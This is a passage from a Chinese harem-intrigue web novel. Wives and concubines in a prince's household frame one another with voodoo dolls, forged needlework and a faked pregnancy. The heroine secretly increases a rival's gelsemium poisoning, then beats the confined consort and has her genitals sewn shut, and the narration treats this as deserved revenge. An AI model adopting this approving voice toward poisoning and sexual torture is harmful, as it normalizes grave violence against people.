“对,此事搁到寻常人家,就算休妻也不为过!可王爷只是将我禁闭,他对我一定是有情的。”赵婉宁似乎看到了希望。 她从袖中拿出药方,撕了一半递了出去。 “这是太后赐的怀双生子秘方,你交给咱们的人,让她务必想办法保我出去!” “是。” …… 过年期间,裴墨染也没有松懈,他早出晚归侦查要案。 几个夫人跟妾室日日到玄音阁请安。 众人都不知道为何赵婉宁突然失了宠,被禁足,她们对云清婳愈发敬重。 年过罢,案子有了眉目,裴墨染晌午时才难得回府。 他正欲去玄音阁,便看见几个府医提着药箱,匆匆往后宅赶。 管家也行色匆匆。 裴墨染掀起眼皮,冰冷地问:“何事?” “回王爷,崔夫人不知怎的,头疼不已,已经三日了,听说翻来覆去地在床榻上打滚。”管家想到什么,又补充,“云侧妃带着众人也去看了。” 听到蛮蛮也去了,尽管他心下不愉,但还是选择去看看。 才踏进门,崔夫人的痛吟声便传了过来。 几位夫人跟一众妾室都在,她们或惶恐或怜悯或幸灾乐祸。 “王爷,妾身好疼啊……”崔夫人抱着脑袋想要撞墙。 多亏几个婢女将她拉扯住。 她姣美的面容没有丝毫血色,满脸都是眼泪,绝对不是作伪。 “崔氏究竟得了什么病?”裴墨染边问边走到云清婳身边。 “夫君,崔夫人的病已经看了三天了,诊断不出病症跟毒性,喂了麻沸散也只能缓解一两个时辰。”云清婳道。 几个府医不约而同地颔首。 裴墨染示意下人将崔氏按在榻上躺好,让人给她灌些麻沸散。 “不如请太医给崔夫人看看?”云清婳提议。 裴墨染正欲允准,万嬷嬷忍不住开口:“王爷三思啊!” 此话一出,裴墨染的脸瞬间阴沉下来。 无病无灾却头疼欲裂,此症状倒是像极了厌胜之术。 “查!”他挥挥手,在一侧软榻落座。 贴身太监、万嬷嬷带人去搜查。 裴墨染多日未见云清婳,细细打量着她的眉眼,眼神不自知地柔和下来。 “都坐吧。”他命令。 “是。”众人落座。 云清婳坐下后才瞥见他的腰间坠着她送的荷包,登时觉得有点羞耻。 她的绣工,算不上好。 恐怕狗男人是故意戴上,为了在裴云澈面前显摆炫耀、下马威的。 一炷香的功夫,贴身太监、万嬷嬷回来了。 “如何?”裴墨染轻抬下巴。 贴身太监呈上了两个做工细致精美的巫蛊娃娃,它们的头上插满了密密麻麻的绣花针。 两个巫蛊娃娃身上的绫罗衣裙、发髻,跟赵婉宁、崔夫人无比相似。 众人不禁倒吸了口凉气。 万嬷嬷将代指崔夫人的巫蛊娃娃头上的绣花针全部拔掉,崔夫人渐渐停止了呻吟。 “大胆!圣上最忌讳巫蛊之术,究竟是何人犯忌?”裴墨染怒吼。 此事若是让父皇知晓,他也会被牵连的。 贴身太监颤声道:“此物是在沈夫人院子里的梧桐树下挖到的。” “呜呜呜……不是我啊,不是我啊……”沈沁扑通一声跪下,哭得梨花带雨。 云清婳跟魏娴交换了一个眼神。 果然,赵婉宁的眼线又开始作妖了! 沈沁使劲磕头,哭得一抽一抽的,“王爷明察,我当下得宠,日子正好过,我何必针对王妃跟崔夫人?” 崔夫人的婢女含泪道:“沈夫人之前便在我们主子禁足的时候,屡次恐吓、震慑主子,扇奴婢巴掌。如今得势,心思更狠了也说不定。” “你胡说!我没有!”沈沁指着她斥责。 “住口!”裴墨染低吼,怀疑地上下打量她。 沈沁委屈不已,求救的视线朝云清婳投去。 所有人都发现了二人的眼神交流。 裴墨染自然也看到了,他心中恼火。 这个沈沁真是天下第一等蠢货! 这时候看着蛮蛮作甚? 想拖累蛮蛮吗? “王爷,巫蛊娃娃的背后还写有生辰八字。”贴身太监将木偶呈了上去。 裴墨染将它们一翻,看到背后的字条时,瞳孔紧缩。 “啊……”云清婳也看见了,她半张着小嘴,也是一脸惊愕。 “奴才比对了字迹,这正是云侧妃的字迹。”贴身太监的声音陡然变低。 霎时,妾室都用幸灾乐祸、惊恐的眼神看向云清婳。 第102章 裴墨染小心翼翼,生怕她生气 “云清婳,你为何还不放过我?你好狠毒啊!”崔夫人有气无力,声音嘶哑地说。 云清婳不准备辩解,她想看看裴墨染的反应。 “这的确是云妃的字迹,可不排除有人仿照字迹,栽赃云妃。本王相信云妃的为人。”裴墨染不假思索。 谁都能看出这份偏爱。 让其他妾室酸得不行。 “呜呜呜我与云姐姐素来交好,云姐姐怎会害我?一定不是云姐姐做的!”沈沁娇憨地打着哭嗝。 万嬷嬷叹了口气,“老奴发现巫蛊木偶身上穿的衣物,看行针走线、针脚,似乎也与云侧妃的女红一致。” 崔夫人气得浑身颤抖,“王爷,您要为妾身做主啊!就算字迹好模仿,可是女红呢?女红岂是一朝一夕能模仿出来的?” 沈沁的双眼露出惊慌,“莫非,云姐姐的身边出了内鬼?” 无数双眼睛都朝飞霜看了去。 而飞霜朝着魏娴看了去…… 云清婳的嘴角勾起一丝阴恻恻的笑。 啧,倒是她百密一疏了。 细作就在身边呢。 她居然失察了。 云清婳明了了,赵婉宁的“细作”,才是真正的高手! 这些手段,绝对是赵婉宁不可及的。 幕后黑手这次只是旁敲侧击,想要卸掉她的左膀右臂,再让她跟亲近的人离心。 “你们不要再惺惺作态了!字迹你们不认,女红你们也不认,最看不惯我跟王妃的,除你们俩还有谁?”崔夫人激动得喘不上气。 “求王爷严查飞霜!”崔夫人的婢女扑通一声跪地。 崔夫人哭道:“王爷,您是妾身的天,您要给妾身做主啊!妾身疼得死去活来,还以为这辈子再也见不到您了。” 其他妾室有的人早看云清婳不爽,她们姊妹情深般跪下,“还请王爷严查此事,还王妃、崔夫人公道!” 许多人目光如箭,锋利地刺向云清婳。 云清婳的鼻尖泛着薄粉色,长睫轻颤,杏眸中水光潋滟,委屈得让人心碎。 “奴婢跟主子冤枉啊!就算上了十大酷刑,奴婢还是这句话。”飞霜红着眼跪下叩首。 裴墨染鬓角的青筋鼓起,眼中的怒气交迭。 他不想让蛮蛮失望,可是事态无法控制,已经把他架在火上烤了。 就在这时,春苗跑了进来,“王爷,不好了,王妃头疼得撞墙了,还请您去看看。” 春苗的来临,让人措手不及。 屋中,好几个人变了脸色,就像是在意料之外。 裴墨染心中嫌恶,他瞥了眼万嬷嬷。 可万嬷嬷早就将另一个傀儡木偶头上的针拔掉了。 “这傀儡原来是个幌子啊,头疼另有玄机!差点害我们主子背了黑锅!”飞霜气不过,讽刺了一句。 此话就像是火星子点燃了炮仗,发出砰的一声。 将所有人惊醒。 府医颤颤巍巍地说:“王爷,还有种可能,莫不是崔夫人体内的毒十分稀少,所以微臣才把不出来?” “去清心阁看看。”裴墨染轻抬下巴。 一炷香后,府医回来复命。 “查出来了!王爷,王妃的体内有钩吻,此物食用过度便会头疼、目眩。只可惜此物在花园中极为常见,不好查出黑手。” 裴墨染缓缓吁了口气,他悄悄瞟了眼云清婳。 蛮蛮的表情还算柔和,应该没生气。 还好他方才没下令审查飞霜。 否则蛮蛮一定会跟他闹。 “表面上是冲王妃跟崔夫人,实则是冲着我来的啊。”云清婳自嘲般地说了一句。 “严查此事,本王定不会放过罪魁祸首!”裴墨染的语气冷硬。 “是。”贴身太监带人去盘问花圃的婢女、家丁。 裴墨染扭过脸,目光冰冷地刺在崔夫人身上,“还没长记性吗?这是最后一次,日后再攀咬云妃,就滚回高丽。” 崔夫人的眼泪扑簌簌地流,她又委屈又心寒的点头,“是。” 裴墨染试探性地伸出手,状似无意地碰了碰云清婳的手背,见她没有挣扎,才放心地一把捉住。 这些小动作被云清婳尽收眼底。 小心翼翼就对了! 狗狗面对主人,就应该这样。 “方才没吓到吧?”他低下头,担心地问。 云清婳与他对视,声音娇娇柔柔,“夫君信我,我便不惧。” 他被哄开心了,唇角上扬。 一众妾室妒忌地看着云清婳。 …… 回到玄音阁,二人简单的用了午膳,裴墨染便拉着云清婳午睡。 她倒在裴墨染的怀中,眼中渗出了寒意。 等裴墨染睡熟了,她才轻手轻脚的下榻。 她走到屏风前,长长出了口气。 “主子,方才真是太惊险了。幸亏咱们早早发现有人采摘钩吻,给赵婉宁下毒。”飞霜拍了拍胸脯。 云清婳颔首。 她发现幕后黑手只敢下小剂量的钩吻汁,虽然不知道幕后黑手的具体算计,但她当即命人在赵婉宁的饭菜里加大剂量。 量变会引起质变,她就是要打破幕后之人的计划。 事实证明,她猜对了! “所以究竟是谁干的?主子,你可发现了?”飞霜好奇的问。 云清婳正欲启唇,背后响起了脚步声。 她一转身,便看见了裴墨染。 他冷簌簌的瞥了飞霜一眼。 飞霜识趣的退下。 “夫君怎么不睡了?是不是我跟飞霜说话,把你吵醒了?”她面露愧疚。 裴墨染凝眉,“我哪儿敢睡?指不定你跟婢女在背后怎么编排我。” 确认裴墨染没听见她们说话,她安心了。 “我在您心里,就是这么小气的人吗?”她佯装生气,哼了一声。 他将她抱回榻上,又重新圈在怀里,轻声解释:“蛮蛮,我方才并未怀疑你,只是线索正好断在了你身上,我不得不做做样子。” 云清婳大胆地伸手捏着他的脸颊,“我知道啊,我跟夫君心意相通,我能感受出来的。” 裴墨染的心一阵悸动,她总是这样,不经意就说出些抹了蜜的话。 “究竟是何人陷害你?心中可有猜测?”他的剑眉一沉,“仿你字迹、女红,一定是亲近之人,你要防备着。” “嗯。”她乖巧地点头。 “你总是这样善良,不愿把人往坏处想。日后遇到处理不了的事,一定要派人知会我。”他忧心地叹气。 他在推心置腹帮她分析,这样相处着,倒真的有些像夫妻了。 云清婳突然想试探一下王妃之位的事情。 她双臂一伸,勾住他的脖子,“夫君,心意姐姐跟祝国公今日应该去泛舟游湖了。” “等我忙过这阵,我也带你去,你想出京都行。”他知道她也想去,她在羡慕何心意。 云清婳摇摇头,“我只是羡慕心意姐姐与祝国公青梅竹马,琴瑟和鸣,只有彼此。” 第103章 叛徒居然是她?! “……” 裴墨染沉默了。 他根本做不到祝国公那般一生一世一双人。 而且日子还长着呢,谁知道祝国公日后会不会纳妾? “夫君与我虽不能只有彼此,但我有时还是想成为您的妻子。”她点明主题。 裴墨染正色道:“蛮蛮,你就是我的妻子!莫要说傻话。” “我想光明正大地与您并肩而行,能跟您一同宴客。每次站在您跟王妃身后,就像在提醒我,我只是妾。”云清婳的眼圈泛红。 话都说到这个份上了,狗男人若是有心,也该考虑把王妃之位给她了吧? 裴墨染吻了吻她的眼皮,“蛮蛮,再等等。” 至少要再等一年,他才能褫夺赵婉宁的王妃之位。 毕竟在世人眼里,赵婉宁才小产,这时候他废了赵婉宁,旁人会怎么想他? 啪—— 她忽然恼火,一巴掌拍在他的胸口。 裴墨染懵了。 怎么莫名其妙就挨打了? “凭什么我跟你就没有像样的婚礼?也没喝合卺酒?宫宴、祭祀、庆典皆不能跟你站在一处?”她生起气来脸蛋红彤彤的,可爱极了。 裴墨染只当她在委屈,亦或是对赵婉宁生出了嫉妒。 “……”他阖眼装睡。 “裴墨染,你别装睡,你回答我!” “你醒醒!别装了!”她使劲摇晃着他的肩膀。 可裴墨染不搭理,跟死了一样。 云清婳有些气馁。 但有什么办法呢? 又不能主动开口问裴墨染要,否则他疑心病发作,说不定会觉得她是带着目的接近他的。 只能徐徐图之! …… 翌日,云清婳送走裴墨染后,魏娴来了。 魏娴踏入庭院的一刹那,飞霜垮了脸。 她看魏娴的眼神带着不善。 “云侧妃。”魏娴彷徨地开口。 她观察着云清婳的神色。 云清婳跟往常一样,笑着将她拉在身侧坐下,“飞霜,煮些茶来。” “是。”飞霜的声音闷闷的。 魏娴摸不着头脑,惶惑不解地问:“云侧妃,你不怀疑我?” “若是连自己的盟友都不信任,这场游戏,我绝对赢不了。”她将手放在魏娴的肩膀上,信誓旦旦道。 魏娴的眸子登时晶亮,她看着云清婳,竟觉得眼前人熠熠生辉,绽放光彩,让她肃然起敬。 她身为北镇抚使的庶女,能在一众庶妹中脱颖而出嫁给肃王,她自认为谋略、机智不差。 可见了云清婳才感受到何为小巫见大巫,云清婳身为京城第一贵女实至名归。 飞霜闻言,转变了笑脸,殷勤地给魏娴递上热茶,“魏夫人,奴婢误会您了。” 魏娴摇摇头,“无事,我昨日本该来的,可我怕云侧妃想不通,所以今日才敢来。 那人很聪明,想先折断云侧妃的左右手。若是你们没有给赵婉宁下毒,昨晚飞霜跟我必有其一要出事。” 云清婳欣赏的看着魏娴。 瞧,她挑得盟友多聪明。 这么快就推测出,赵婉宁的毒是她们下的。 “云侧妃,那您知道赵婉宁的细作是何人吗?”魏娴又问。 云清婳吐息如兰,“沈沁!” “真是她?”魏娴蹙眉。 她颔首,“她生母是宫里的绣娘,模仿我的女红,与她而言,易如反掌。” 魏娴不寒而栗,她的自负清高,让她忽略了一个虎视眈眈的对手,“我也怀疑过她,可她笨手笨脚,不像作假。” “演戏就是要真真假假,她怀有童趣是真的,精于算计、扮猪吃老虎也是真的。”云清婳深谙其道。 就像她虽然玩弄裴墨染的感情,但她向裴墨染展示的性情也是真的。 魏娴眼底闪出寒凉的光,“我们该如何反击?” “很简单,之前沈沁在暗,我们在明。现在该我们将计就计,耍她玩了。”云清婳坏笑。 魏娴听懂了弦外之音,扑哧一声笑了,“云侧妃,你真是太坏了。” “阿娴,你日后叫我蛮蛮吧。”云清婳再一次握住她的手。 魏娴一怔,她生活在勾心斗角中太久,为了抵挡主母、嫡姐的磋磨,已经很久不与人亲近了。 她不需要姐妹,不需要朋友甚至可以不要亲人。 “为何呢?”魏娴的表情倏地淡了几分。 云清婳歪着脑袋看魏娴,她觉得魏娴像极了以前家门口的流浪三花猫。 你对它好,它会躲起来。 你不理它,它反而会过来蹭蹭你。 “因为,阿娴的性子有点像姐姐,让我很喜欢。”说着,云清婳将脑袋靠在她的肩膀上。 魏娴身子一僵,面颊倏地红了,“呃……” 飞霜忍不住捂嘴笑。 没人能抵抗住主子,主子男女通吃的! 魏娴的心脏扑通扑通乱跳,脊背绷得笔直。 云侧妃真的跟谢小姐说的一样,“我妹妹人见人爱,没人不喜欢”。 云清婳觉得魏娴的状态像极了——毛头小子刚出新手村,就遇见了顶级魅魔。 …… 当日,云清婳跟魏娴在玄音阁大吵一架,花瓶、茶盏砸了一地的消息便传遍了后院。 沈沁当即来玄音阁询问。 “云姐姐,你跟魏夫人是怎么了?”沈沁跟小白兔似的,怯生生地问。 云清婳轻眨了下眼皮,沉默了。 飞霜哼了一声,阴阳怪气道:“沈夫人难道猜不到吗?昨日已经很明了了。” 沈沁捂着嘴,她既惊讶又恼火,“看不出魏夫人竟是这样的人!亏我那么相信她,不仅陷害了云姐姐,还栽赃到我身上!” “日后莫要提了,幸亏没酿成大祸。”云清婳的蹙着黛眉,声音带着轻微的哽咽。 “路遥知马力,日久见人心。现在看清魏夫人,也是好事。”沈沁端上一盅养胃汤,“云姐姐不要为不值得的人伤心,你还有我。” 云清婳挤出笑,她点点头,“阿沁,幸亏我还有你。” “云姐姐的胃还疼吗?喝些吧。”沈沁关心的问。 “早就不疼了。”云清婳的手揉了揉小腹。 飞霜笑了,她俏皮的眨眨眼,“恐怕沈夫人很长一段时间,都不必煮养胃汤了。主子这个月月事没来,也不知是不是有好消息了。” 第104章 云清婳,你就是个变态 沈沁一怔,她看着云清婳的小腹,眸中光彩乍现,“真的吗?云姐姐肚子里有小宝宝了?” “还不一定呢,希望上天眷顾,可以为夫君生儿育女。”云清婳露出娇俏又柔和的笑,通身散发着母性光辉。 沈沁的眼眸骤然暗淡下去,“会的。” “沈夫人正得宠,不如也跟主子一样,拜拜送子观音,求些平安符?”飞霜提议。 沈沁的脸蛋瞬间通红,“我才不急呢。” 等人离开后,她的脸登时冷沉下来。 “沈沁真是会装!”飞霜嫌弃地说。 云清婳俏皮地眨眨眼,“是吗?跟我比呢?” “那肯定是不如主子的,她听见您怀孕的时候,脸上的表情可古怪了,呵……”飞霜奚落。 云清婳一把折断了手边的毛笔,眼神阴沉,“我是得给她们些教训了。” …… 云清婳去了清心阁。 她命下人开锁。 门打开后,只见赵婉宁穿着一席素衣,长发披散在脑后,有气无力地坐在桌前。 她瘦了一圈,双颊凹陷,就像是被鬼魅吸干了精气,面色灰败。 “贱人!你把我害成了这样,你还有脸来?”赵婉宁仍旧一副高高在上的模样,她翻了个白眼。 云清婳扭了扭手腕,大步朝她走来,“我们的仇,是该好好算算了!” 赵婉宁腾的起身,一步步退后,慌张地问:“你已经夺走了我的一切,你还想做什么?王爷知道是不会放过你的。” “放心吧,他不会知道的。”云清婳一把抓住赵婉宁的头发,往后一拽。 “啊……我的头发!”赵婉宁捂着后脑勺,龇牙咧嘴地求救,“救命啊,救命啊,云清婳想杀我……” “呵,原来你也知道害怕?那些被你害死的人,你说他们死前怕不怕?嗯?宝音怕不怕?姐姐怕不怕?”云清婳掐着她的脖子,将她按倒在地。 赵婉宁的瞳孔地震,她颤抖地问:“你究竟是谁?” 云清婳的力气陡然变大,她出阁前,经常跟着哥哥们拉弓搭箭,有的是力气。 赵婉宁使尽浑身的力气也没法挣脱。 啪啪啪—— 云清婳扬起胳膊,一巴掌一巴掌地扇赵婉宁的脸。 巴掌声清脆响亮。 “啊……”赵婉宁被抽得鼻血汩汩往外流,痛苦的哀嚎。 云清婳满脑都是姐姐自焚的场景,她怒不可遏,怒意翻涌,每一拳头,每一巴掌都带着十成的恨意。 就像一只蛰伏的猛兽,恨不得咬断赵婉宁的脖颈。 不知过了多久,赵婉宁被打得满脸是血,鼻青脸肿,都快认不出原本的相貌了。 “我真是不解气!”她双目猩红,气喘吁吁,已经累得失力。 “主子,不如也给她找十几个男人伺候一番?”飞霜邪气一笑。 赵婉宁的眼圈泛红,“你敢!你敢!我是王爷的女人!” “你当然是王爷的女人,但也可以把你送进窑子,让你成为千千万万男人的女人!”飞霜轻慢地踢了踢她的脸。 赵婉宁的眼泪横流,嘴唇都在颤,“不,不……” 云清婳摇摇头。 姐姐说过,女子间应该互帮互助,不可拿女子的清白赌气报复,哪怕是面对最讨厌的女人。 报复人的方式有千千万万,同为女人,不必用这种龌龊手段。 “别怕啊,我可是善良的好人,我会好好地留住你的清白。”云清婳嫣然一笑,浑圆的双眼透着天真、纯良。 她已经脱力,得靠飞霜搀扶才能站起来。 赵婉宁松了口气。 可紧接着的一句话,让她的眼珠子都快瞪出眼眶。 “飞霜,把她的下身缝起来。”云清婳惑人地笑了,眼尾上翘,妖冶邪魅。 “是。”飞霜眼底尽是兴奋。 赵婉宁含着泪,翻过身就使劲往前爬,“你这个疯子!变态!” “你根本不爱王爷!你不配得到王爷的爱!” “你一定会遭报应的!” “你不乖啊。”云清婳抄起一个花瓶,朝她的后脑勺重重一砸。 砰—— 赵婉宁晕了过去。 云清婳递给飞霜一个眼色。 飞霜跟拖死猪似的,将人拖上了床榻上。 不过一炷香的功夫,飞霜就缝合完成。 “她不会死掉吧?”云清婳努努嘴,稍显可爱。 要是死了,可就没得玩了。 “主子放心,死不了!她可以给自己拆线,至少还能活一年呢。”飞霜讥诮地笑了。 云清婳命人处理好现场,便带着飞霜离开。 方才的事,她已经封好了口。 就算被万嬷嬷发现蛛丝马迹,禀报给裴墨染,裴墨染也不会在乎。 …… 在皇后的催促下,裴墨染将府中的妾室、夫人临幸了一通。 每日早出晚归,他跟云清婳竟有一个月没见面。 完成了皇后交代的任务,裴墨染如释重负,在晌午赶去了玄音阁。 可到了玄音阁,寝殿却没有半个人影。 他只好又去花园找人。 花园中,云清婳正跟几位夫人以及妾室烹茶弹琴。 她穿着浅紫色的襦裙,鹅黄色的锦绣腰封锁住盈盈一握的腰肢,衬得她的腰身更是纤细。 仿佛他轻轻一握,就会断掉。 她的双颊像是含苞待放的月季,透着浅浅的粉,眼波流转含情,桃花眼外翘内勾,在花团锦簇之间,美得像是仙子。 裴墨染在一众女子间,唯独只看见了她。 一位眼生的妾室弹奏完最后一曲,众人便纷纷离去。 魏娴跟其他人一同走了,云清婳跟沈沁在后面。 “我用梅花泡了茶,阿沁有空就来喝茶。”云清婳柔声道。 “好啊。” 忽地,沈沁脚下踩空,从三级台阶上跌了下去。 “啊……” 她坐在地上,捂着肚子,“啊……我的肚子好疼……” 沈沁的婢女埋怨地瞪着云清婳,“云侧妃!你为何要推沈夫人?” “我……”云清婳的眼圈泛红,她弯下腰想扶沈沁。 却被婢女一把挥开。 “没事,不怪云姐姐,云姐姐一定不是故意的。”沈沁的五官皱着,痛苦地捂着小腹。 “还愣着干什么?快传府医!我们主子怀孕了!”婢女大叫。 所有人大惊,四下的婢女忙不迭去找府医。 崔夫人扑哧一声笑了,她幸灾乐祸道:“原本我还真相信姐妹情深,现在看来是我傻了!” 第105章 蛮蛮,想我了吗? 沈沁被扶了起来,她坐在石凳上,惊魂未定地拍着胸口,“你别挑拨离间,我怀孕的事情,云姐姐又不知道,再说了云姐姐不是这样的人。” 崔夫人嗤笑,“那好端端的,她为何推你?云侧妃素来行事谨慎,第一贵女怎会在规矩上出错?你这么傻,指不准就在她面前说漏过嘴!更何况你正得宠,而云侧妃无宠,自然就会嫉妒你!” “你……”沈沁说不过,只好鼓着嘴生闷气,眼泪在眼眶打转。 其他妾室都用惶恐的眼神睨着云清婳,就像在看一个毒妇。 云清婳镇定的解释:“方才我与沈夫人一同下台阶,应该是距离太近,胳膊难免有了摩擦,并非有心的。” “是啊,又是不小心!你总是不小心!”崔夫人冷嘲热讽。 “住口!”裴墨染大步流星的走来,他的面目阴沉,就像是暴风雨来临的前奏。 沈沁看到裴墨染,像是绷不住了,嚎啕大哭:“王爷,我的肚子好疼,我们的孩子会不会保不住啊?” 裴墨染的脸色更黑了。 怀孕? 每次临幸完,他都会让人偷偷在她们的饭菜里下避子药。 沈沁怎么可能怀孕? 莫不是背着他偷人了? 一想到自己可能被戴了绿帽子,他便怒不可遏,恨不得掐断沈沁的脖子。 “阿沁,对不住,我方才没想推你,真的只是胳膊蹭到了。”云清婳愧疚地向她福身。 可婢女翻了个白眼,冷嘁了一声。 其他妾室也是一脸不信。 “没关系的,是我自己没站稳。”沈沁挤出惨白的笑。 这番绿茶的发言,让云清婳膈应不已。 沈沁很聪明,一直以来都在温水煮青蛙,一次次地在裴墨染面前败坏她的形象。 时间久了,裴墨染发现每次阴谋算计都与她有关,自然就会厌恶她,觉得她心机深重,心狠手辣。 裴墨染心疼的看着云清婳。 傻蛮蛮,现在还给这个满腹心机的女子道歉。 他质问道:“你何时怀孕的?” “一个月前妾身变得嗜睡,时常恶心干呕,月信也久久不来,便叫来了府医。府医诊断出了喜脉。只是那时胎儿不稳,所以不敢跟您说。”沈沁的面颊骤然泛红,她看起来有几分娇羞。 云清婳遥遥的跟魏娴对视一眼。 好戏要开始了! “传太医!”裴墨染下令。 沈沁的眼中迸发出光彩,一脸幸福的说:“多谢王爷,只是不用这么大阵仗,让府医来看就好。” 裴墨染冷簌簌道:“听本王的。” “是。”沈沁羞涩地点头。 王爷居然为了她特意请来太医。 这足以见得王爷对她的重视啊。 “云姐姐不必愧疚,我的肚子已经不疼了。”沈沁眉眼弯弯,又点了云清婳的名。 云清婳颔首。 裴墨染抓住她的手,他轻声安抚,“别多想。” “嗯。”她颔首。 两刻钟过去,太医便被请来。 太医在沈沁的腕上覆上丝帕,聚精会神地把脉。 崔夫人趁机阴阳怪气:“劳烦太医给沈夫人好好整治,方才沈夫人被人推下台阶,胎儿还没满三个月,指不准就动了胎气。” “我都不怪云姐姐,你有什么资格责怪?”沈沁稚气地哼了一声,随后又悄悄看裴墨染的表情。 “……”崔夫人一噎。 裴墨染的神色阴鸷,薄唇抿成一字,从方才到现在都是一派漠然。 沈沁窃喜。 王爷虽然面上不表,但心里一定在责怪云清婳的鲁莽! 毕竟他有多想要孩子,人尽皆知! 良久,太医叹了口气。 “怎么了?莫非胎儿真的有虞?”沈沁含泪看向云清婳。 云清婳垂下了修长的脖颈,像是霜打的茄子。 裴墨染捏捏她的手心,“说吧。” 太医的表情很是怪异,他低声道:“沈夫人的脉象安康,但是并非有孕啊。” 此话像是平地惊雷,让众人大惊。 沈沁的脸色骤然变白,“怎么可能?可我真的嗜睡、干呕、月信推迟啊……” “恐怕是气血亏损。”太医斩钉截铁地下定论。 “原来是假孕啊!还攀扯上了云侧妃。”崔夫人讽刺。 裴墨染瞪了她一眼,“住口!你这个搅家精!” 崔夫人吓得脸色惨白,委屈地流了几滴眼泪,再也不敢发言。 “你今日演这一出,就是为了攀咬蛮蛮?若不是本王让太医来看,你恐怕都要把本王骗进去了!沈家真是养了个好女儿,满身算计!”裴墨染怒斥。 “呜呜呜……王爷,您相信我,府医真的诊断我有孕!我没骗人,我没骗人啊!”沈沁跪下,扯着裴墨染的衣摆。 “别碰本王!”裴墨染的双眼深邃,目光似匕首,狠狠刺着她的手。 沈沁似有所感地将手收了回去,打着哭嗝。 “沈夫人,你可记得是哪一位府医?”云清婳问道。 “是刘府医!”沈沁哽咽道。 刘府医早就在一旁候着,他虎躯一震,连忙磕头,“冤枉啊!沈夫人,上个月,小的就已经拒绝过您了!小的不敢欺骗王爷,您怎么还要拖小的下水?” 沈沁难以置信地张大了嘴巴,“什么?” “呜呜呜你诬赖我!我何时跟你串通?究竟是谁让你害我?”沈沁的心肝都在颤,她似乎想到了什么,猛地抬头。 不远处,云清婳的脸一如既往的平静,看不出一丝破绽,“你糊涂啊!” “这一个月,沈夫人最是得宠,为何还不满足?”魏娴眼底一贯的淡泊褪去,透着冰窟般的寒气。 “呜呜呜王爷,您相信我!有人陷害我,有人陷害我!一定有人给我下了药!”沈沁语无伦次地说着。 裴墨染眼底没有一丝感情,厉声道:“此人假孕争宠,诬陷云妃,心思恶毒!将她拖去暗室,静思己过。” “不……”沈沁的双眼透出阴冷,恶狠狠地看着魏娴跟云清婳。 云清婳用口型回了她两个字。 蠢货。 中了假孕药,还沾沾自喜。 沈沁绝望地被贴身太监拖走,“呜呜呜……我冤枉啊!” 她中计了! 她被云清婳戏弄了! 裴墨染不愿再分一个眼神给沈沁,他弯下腰,轻拍了拍云清婳的背,“没吓到吧?” “没有。”云清婳红着眼,闷声道。 其他妾室看到这一幕都酸了。 王爷平日总是冷淡疏离,与她们说话时也是漫不经心,就连床笫上也是例行公事般,没有任何感情交流,更不愿与她们多说话。 可对待云清婳,他却可以这般温柔。 虽然王爷一个月没去看云清婳,可这并不代表云清婳失宠! 崔夫人早就已经见怪不怪了。 …… 裴墨染陪云清婳回了玄音阁。 寝殿门一阖上,他就忍不住将她抱上了榻。 一个月多没见,他想得紧。 “想我了吗?”他单手将人按在榻上,双眸炙热,另一只手却在脱她的衣物。 云清婳的脸蛋娇红,她的羽睫轻颤,避开他的视线,“……嗯。” 第106章 隔门强吻她! 裴墨染的胸中极为欢畅,心脏都加速跳动。 他打趣道:“蛮蛮的眼光真差,身边交好的没一个安分的。” 她不服气地轻哼,“是啊,我眼光差,我挑选夫君的眼光似乎也不好。” 裴墨染登时发现自己把自己坑了。 “不,你挑选夫君的眼光是顶好的!这是你眼光最好的一次。”他的吻落在她的脖颈上。 她的娇躯轻颤,连忙捂住脖颈,“脸皮真厚,自己夸自己!” 裴墨染吻住她的唇瓣,带着一个月的思念来势汹涌。 云清婳溃不成军。 等帐中春色消散,云清婳的云鬓早已散乱不堪。 金花簇满钿歪斜,玉簪、步摇都坠在软枕上。 裴墨染轻拍她的背,“过几日花朝节,晚上带你出门游玩。” 她的双眸登时闪烁起来,灿若星子,“真的吗?” “自然!”他凑近她,额贴着她的额。 云清婳伸出纤细的胳膊,搭在他的腰间。 她还是想试探一下王妃之位的事。 “夫君,我还是不去了吧?”她的黛眉微微蹙起,像是想到了不愉快的事。 裴墨染不解,“为何?” “白日我跟心意姐姐约好了赏花,晚上心意姐姐跟祝国公也会同游。我们若是撞见他们,多尴尬啊。”她噘着嘴。 他听不懂她的逻辑,“为何尴尬?祝国公得罪你了?” “别人是夫妻啊,您陪我出门算什么?旁人看见了,说不定会觉得我是妖妃,霍乱于您。”云清婳叹了口气。 裴墨染觉得她的想法很奇怪,为何她总把自己置于见不得光的外室的身份上? 他安抚道:“莫要多想,谁敢编排你,我定不会放过。” 云清婳气得攥紧了拳头。 狗男人! 又避重就轻! 那就别怪我了,你不懂得珍惜我,自然有人懂得珍惜。 …… 花朝节当晚灯火通明,星星点点灿若星河。 街市上,行人拥挤,车如水,马如龙。 夜放花千树,一夜鱼龙舞。 裴墨染与云清婳换上常服,十指紧扣,在街上闲逛。 “夫君,我要吃花糕。”她轻快的小跑到摊子前,娇娇地唤了一声。 “知道了。”裴墨染正在对面摊位买紫牡丹。 这好像是花朝节的习俗,一路走来,每位女子发间都簪有牡丹芍药,所以他想让蛮蛮也有。 他赶去找她,笨拙地将牡丹簪在她的髻上。 云清婳扶着发髻上的花,催促道:“付钱啊。” “好。”他赶忙将花糕的钱递给商贩。 从小到大,还是第一次有人这样频繁地使唤他。 但他丝毫不恼,还挺愿意被她使唤。 云清婳捏着花糕咬了一口,像是吃到了珍馐,一双眼笑成了弯月牙,腮帮子鼓鼓的,像极了小松鼠。 “好吃吗?让我尝尝。”裴墨染的脸凑近她。 云清婳护崽子似的,防备的后退一步,眉毛一沉,“你再买啊。” 他攥着她的手腕,厚着脸皮,在她咬过的花糕上咬了一口。 “你太过分了!”云清婳的耳朵都气红了,在他胸口上砸了一拳。 狗男人今晚跟发癫了一样,她吃什么,他都要咬一口。 他是狗吗? 裴墨染就喜欢看她恼火的模样,他忍住笑,“真是小气!我再买就是了。” 于是,他将摊位上每一种口味都买了个遍。 “你早这样不就好了?”她翻了个白眼。 不远处的酒楼二楼,裴云澈抱臂,狭长的眸子锁定二人的身影,阴恻恻地目睹全程。 他胸中醋意翻涌。 果然,裴墨染还是喜欢上了蛮蛮。 裴云澈深吸一口,阖上了双眼。 蛮蛮这么好,喜欢上她,只是时间问题。 那蛮蛮呢? 她也会对裴墨染日久生情吗? 云清婳早就看见了裴云澈,她抓住裴墨染的袖子,“夫君,我们去酒楼坐坐吧?一会儿游花神,可以在二楼上看。” “好。”裴墨染搂着她的腰,去往不远处的天香楼。 